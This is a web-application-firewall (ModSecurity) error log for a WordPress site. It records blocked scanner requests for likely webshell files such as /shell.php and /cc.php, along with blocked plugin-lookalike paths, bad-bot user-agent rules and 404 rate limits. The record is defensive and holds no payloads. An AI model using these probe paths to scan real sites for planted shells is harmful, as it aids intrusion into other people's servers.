[Fri Jan 09 20:22:54.297597 2026] [:error] [pid 1366:tid 1381] [client 85.203.21.226:40703] [client 85.203.21.226] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/autoload_classmap.php"] [unique_id "aWDzHhmasveKu8_ec1Vq6gAAAYw"]
[Fri Jan 09 20:22:54.654331 2026] [:error] [pid 1366:tid 1384] [client 85.203.21.188:31255] [client 85.203.21.188] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-bindings/zczv.php"] [unique_id "aWDzHhmasveKu8_ec1Vq6wAAAY8"]
[Fri Jan 09 20:22:55.014197 2026] [:error] [pid 1366:tid 1388] [client 85.203.21.176:32627] [client 85.203.21.176] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/Iitespeed-cache/drive.php"] [unique_id "aWDzHxmasveKu8_ec1Vq7AAAAZM"]
[Fri Jan 09 20:22:55.370794 2026] [:error] [pid 30020:tid 30068] [client 85.203.21.155:63537] [client 85.203.21.155] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/assets/images/selam.php"] [unique_id "aWDzH8rjc66qOisG6L3Y1AAAAI4"]
[Fri Jan 09 20:22:55.726040 2026] [:error] [pid 14872:tid 14889] [client 85.203.21.235:55631] [client 85.203.21.235] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/advanced-product-fields-for-woocommerce/db.php"] [unique_id "aWDzH6IUELhgYLNp1sY30AAAAs8"]
[Fri Jan 09 20:22:56.074909 2026] [:error] [pid 14872:tid 14880] [client 85.203.21.45:53471] [client 85.203.21.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentyfour/patterns/template-singl-portfolio.php"] [unique_id "aWDzIKIUELhgYLNp1sY30QAAAsY"]
[Fri Jan 09 21:32:09.899479 2026] [:error] [pid 14831:tid 14842] [client 49.51.38.193:35004] [client 49.51.38.193] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aWEDWfaKOMCmJcAyBm1CxwAAAok"]
[Fri Jan 09 21:41:42.795576 2026] [:error] [pid 30020:tid 30059] [client 64.23.160.189:56954] [client 64.23.160.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 64.23.160.189, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWEFlsrjc66qOisG6L3i1wAAAIU"]
[Fri Jan 09 23:10:19.027996 2026] [:error] [pid 30020:tid 30055] [client 180.181.244.244:55726] [client 180.181.244.244] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.181.244.244, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWEaW8rjc66qOisG6L3xGAAAAIE"]
[Sat Jan 10 00:25:35.723527 2026] [:error] [pid 44848:tid 44873] [client 20.184.48.132:1971] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog-front.php"] [unique_id "aWEr_6jajoTJAbEk87z6qwAAAFc"]
[Sat Jan 10 00:25:37.616429 2026] [:error] [pid 30020:tid 30069] [client 20.184.48.132:17793] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog-front.php"] [unique_id "aWEsAcrjc66qOisG6L35GgAAAI8"]
[Sat Jan 10 00:25:39.060582 2026] [:error] [pid 14831:tid 14835] [client 20.184.48.132:26188] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog-front.php"] [unique_id "aWEsA_aKOMCmJcAyBm1b2gAAAoI"]
[Sat Jan 10 00:25:41.094699 2026] [:error] [pid 1366:tid 1376] [client 20.184.48.132:27994] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog-front.php"] [unique_id "aWEsBRmasveKu8_ec1Ws-AAAAYc"]
[Sat Jan 10 00:25:42.068634 2026] [:error] [pid 1366:tid 1387] [client 20.184.48.132:26141] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xenium4.php"] [unique_id "aWEsBhmasveKu8_ec1Ws-QAAAZI"]
[Sat Jan 10 00:25:44.019600 2026] [:error] [pid 14831:tid 14854] [client 20.184.48.132:17808] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xenium4.php"] [unique_id "aWEsCPaKOMCmJcAyBm1b3AAAApU"]
[Sat Jan 10 00:25:45.810629 2026] [:error] [pid 30021:tid 30094] [client 20.184.48.132:26135] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xenium4.php"] [unique_id "aWEsCQ_M8aRtsTog5J_IKQAAAM0"]
[Sat Jan 10 00:25:46.786814 2026] [:error] [pid 14831:tid 14843] [client 20.184.48.132:17848] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xenium4.php"] [unique_id "aWEsCvaKOMCmJcAyBm1b3QAAAoo"]
[Sat Jan 10 00:25:47.371426 2026] [:error] [pid 14739:tid 14762] [client 20.184.48.132:29754] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid-file.php"] [unique_id "aWEsC163M6_PkLt_IJKI_QAAAdU"]
[Sat Jan 10 00:25:49.289045 2026] [:error] [pid 14739:tid 14746] [client 20.184.48.132:28384] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid-file.php"] [unique_id "aWEsDV63M6_PkLt_IJKI_wAAAcU"]
[Sat Jan 10 00:25:51.000370 2026] [:error] [pid 14801:tid 14816] [client 20.184.48.132:30449] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid-file.php"] [unique_id "aWEsDt8UWXrz_OQYgF2HngAAAk0"]
[Sat Jan 10 00:25:52.738501 2026] [:error] [pid 14770:tid 14784] [client 20.184.48.132:26126] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid-file.php"] [unique_id "aWEsEB5QbaVZ-6newJZfnQAAAgw"]
[Sat Jan 10 00:25:54.205778 2026] [:error] [pid 14831:tid 14845] [client 20.184.48.132:30420] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-user.php"] [unique_id "aWEsEvaKOMCmJcAyBm1b4wAAAow"]
[Sat Jan 10 00:25:57.571832 2026] [:error] [pid 14739:tid 14757] [client 20.184.48.132:18165] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-user.php"] [unique_id "aWEsFV63M6_PkLt_IJKJAAAAAdA"]
[Sat Jan 10 00:25:58.882416 2026] [:error] [pid 14872:tid 14885] [client 20.184.48.132:23224] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-user.php"] [unique_id "aWEsFqIUELhgYLNp1sZdngAAAss"]
[Sat Jan 10 00:25:59.789170 2026] [:error] [pid 1366:tid 1374] [client 20.184.48.132:26226] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-user.php"] [unique_id "aWEsFxmasveKu8_ec1WtAwAAAYU"]
[Sat Jan 10 00:26:01.072966 2026] [:error] [pid 14739:tid 14749] [client 20.184.48.132:26207] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gecko.php"] [unique_id "aWEsGV63M6_PkLt_IJKJAwAAAcg"]
[Sat Jan 10 00:26:03.047654 2026] [:error] [pid 44848:tid 44852] [client 20.184.48.132:26237] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gecko.php"] [unique_id "aWEsG6jajoTJAbEk87z6sAAAAEI"]
[Sat Jan 10 00:26:05.200296 2026] [:error] [pid 14739:tid 14754] [client 20.184.48.132:18125] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gecko.php"] [unique_id "aWEsHV63M6_PkLt_IJKJBwAAAc0"]
[Sat Jan 10 00:26:06.453786 2026] [:error] [pid 14739:tid 14751] [client 20.184.48.132:22040] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gecko.php"] [unique_id "aWEsHl63M6_PkLt_IJKJCQAAAco"]
[Sat Jan 10 00:26:07.074519 2026] [:error] [pid 14872:tid 14897] [client 20.184.48.132:22029] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/green.php"] [unique_id "aWEsH6IUELhgYLNp1sZdpgAAAtc"]
[Sat Jan 10 00:26:07.925831 2026] [:error] [pid 30021:tid 30101] [client 20.184.48.132:26195] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/green.php"] [unique_id "aWEsHw_M8aRtsTog5J_IMgAAANQ"]
[Sat Jan 10 00:26:08.702261 2026] [:error] [pid 44848:tid 44862] [client 20.184.48.132:17824] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/green.php"] [unique_id "aWEsIKjajoTJAbEk87z6uAAAAEw"]
[Sat Jan 10 00:26:10.015219 2026] [:error] [pid 14831:tid 14854] [client 20.184.48.132:22030] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/green.php"] [unique_id "aWEsIvaKOMCmJcAyBm1b6wAAApU"]
[Sat Jan 10 00:26:12.144198 2026] [:error] [pid 30019:tid 30047] [client 20.184.48.132:26183] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lm15.php"] [unique_id "aWEsJEz3igHGwX5f7IoR1AAAABc"]
[Sat Jan 10 00:26:13.775115 2026] [:error] [pid 14872:tid 14884] [client 20.184.48.132:34355] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lm15.php"] [unique_id "aWEsJaIUELhgYLNp1sZdrAAAAso"]
[Sat Jan 10 00:26:15.400189 2026] [:error] [pid 30020:tid 30066] [client 20.184.48.132:22070] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lm15.php"] [unique_id "aWEsJ8rjc66qOisG6L35KQAAAIw"]
[Sat Jan 10 00:26:17.133235 2026] [:error] [pid 14872:tid 14887] [client 20.184.48.132:27595] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lm15.php"] [unique_id "aWEsKaIUELhgYLNp1sZdrQAAAs0"]
[Sat Jan 10 00:26:19.448457 2026] [:error] [pid 1366:tid 1377] [client 20.184.48.132:27625] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cc.php"] [unique_id "aWEsKxmasveKu8_ec1WtCwAAAYg"]
[Sat Jan 10 00:26:20.751312 2026] [:error] [pid 1366:tid 1373] [client 20.184.48.132:25351] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cc.php"] [unique_id "aWEsLBmasveKu8_ec1WtDgAAAYQ"]
[Sat Jan 10 00:26:21.606957 2026] [:error] [pid 14739:tid 14760] [client 20.184.48.132:30458] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cc.php"] [unique_id "aWEsLV63M6_PkLt_IJKJDQAAAdM"]
[Sat Jan 10 00:26:23.070087 2026] [:error] [pid 44848:tid 44870] [client 20.184.48.132:25371] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cc.php"] [unique_id "aWEsL6jajoTJAbEk87z6wQAAAFQ"]
[Sat Jan 10 00:26:23.782804 2026] [:error] [pid 44848:tid 44855] [client 20.184.48.132:25374] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/qaez.php"] [unique_id "aWEsL6jajoTJAbEk87z6wwAAAEU"]
[Sat Jan 10 00:26:26.179306 2026] [:error] [pid 30021:tid 30095] [client 20.184.48.132:25362] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/qaez.php"] [unique_id "aWEsMg_M8aRtsTog5J_IVQAAAM4"]
[Sat Jan 10 00:26:28.901387 2026] [:error] [pid 14739:tid 14749] [client 20.184.48.132:25355] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/qaez.php"] [unique_id "aWEsNF63M6_PkLt_IJKJEgAAAcg"]
[Sat Jan 10 00:26:30.652702 2026] [:error] [pid 44848:tid 44853] [client 20.184.48.132:34304] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/qaez.php"] [unique_id "aWEsNqjajoTJAbEk87z6zwAAAEM"]
[Sat Jan 10 00:26:33.027943 2026] [:error] [pid 1366:tid 1383] [client 20.184.48.132:27611] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell.php"] [unique_id "aWEsORmasveKu8_ec1WtHAAAAY4"]
[Sat Jan 10 00:26:52.076591 2026] [:error] [pid 14872:tid 14882] [client 20.184.48.132:1505] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vx.php"] [unique_id "aWEsTKIUELhgYLNp1sZdxQAAAsg"]
[Sat Jan 10 00:26:53.492612 2026] [:error] [pid 30020:tid 30066] [client 20.184.48.132:22023] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vx.php"] [unique_id "aWEsTcrjc66qOisG6L35NAAAAIw"]
[Sat Jan 10 00:26:55.361070 2026] [:error] [pid 44848:tid 44850] [client 20.184.48.132:22043] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vx.php"] [unique_id "aWEsT6jajoTJAbEk87z63wAAAEA"]
[Sat Jan 10 00:26:56.105302 2026] [:error] [pid 14770:tid 14791] [client 20.184.48.132:22039] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vx.php"] [unique_id "aWEsUB5QbaVZ-6newJZgBgAAAhM"]
[Sat Jan 10 00:26:56.695967 2026] [:error] [pid 14770:tid 14796] [client 20.184.48.132:22075] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww3.php"] [unique_id "aWEsUB5QbaVZ-6newJZgBwAAAhg"]
[Sat Jan 10 00:26:57.809216 2026] [:error] [pid 44848:tid 44872] [client 20.184.48.132:23204] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww3.php"] [unique_id "aWEsUajajoTJAbEk87z64QAAAFY"]
[Sat Jan 10 00:26:58.893963 2026] [:error] [pid 30020:tid 30078] [client 20.184.48.132:25365] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww3.php"] [unique_id "aWEsUsrjc66qOisG6L35NwAAAJg"]
[Sat Jan 10 00:27:00.584722 2026] [:error] [pid 30020:tid 30057] [client 20.184.48.132:22061] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww3.php"] [unique_id "aWEsVMrjc66qOisG6L35OgAAAIM"]
[Sat Jan 10 00:27:02.086885 2026] [:error] [pid 30019:tid 30035] [client 20.184.48.132:25398] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s.php"] [unique_id "aWEsVkz3igHGwX5f7IoR7gAAAAs"]
[Sat Jan 10 00:27:03.051015 2026] [:error] [pid 14739:tid 14742] [client 20.184.48.132:34367] [client 20.184.48.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s.php"] [unique_id "aWEsV163M6_PkLt_IJKJFwAAAcE"]
